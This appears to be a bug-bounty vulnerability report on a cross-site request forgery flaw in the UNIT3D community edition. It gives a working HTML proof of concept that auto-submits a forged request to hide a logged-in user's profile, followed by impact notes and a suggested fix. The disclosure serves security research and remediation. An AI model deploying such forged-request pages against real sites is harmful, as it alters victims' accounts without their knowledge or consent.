Cross-Site Request Forgery (CSRF) in hdinnovations/unit3d-community-edition

Valid

Reported on

Aug 4th 2021

✍️ Description

Attacker is able to change a user profile state to hidden if a logged in user visits attacker website.

🕵️‍♂️ Proof of Concept

1.when you logged in open this POC.html in a browser
2.you can check your profile state changed to hidden

<html>
 <body>
 <script>history.pushState('', '', '/')</script>
   <form action="https://unit3d.site/users/UNIT3D/settings/hidden">
     <input type="submit" value="Submit request" />
   </form>
   <script>
     document.forms[0].submit();
   </script>
 </body>
</html>

💥 Impact

This vulnerability is capable of forging user to unintentional change profile state to hidden.

💥 Test

Tested on Edge, firefox, chrome and safari.

💥 Fix

You should set a CSRF token on such GET requests or you can use POST instead of GET then because of cookie SameSite is Lax, request from other origins could not carry cookie.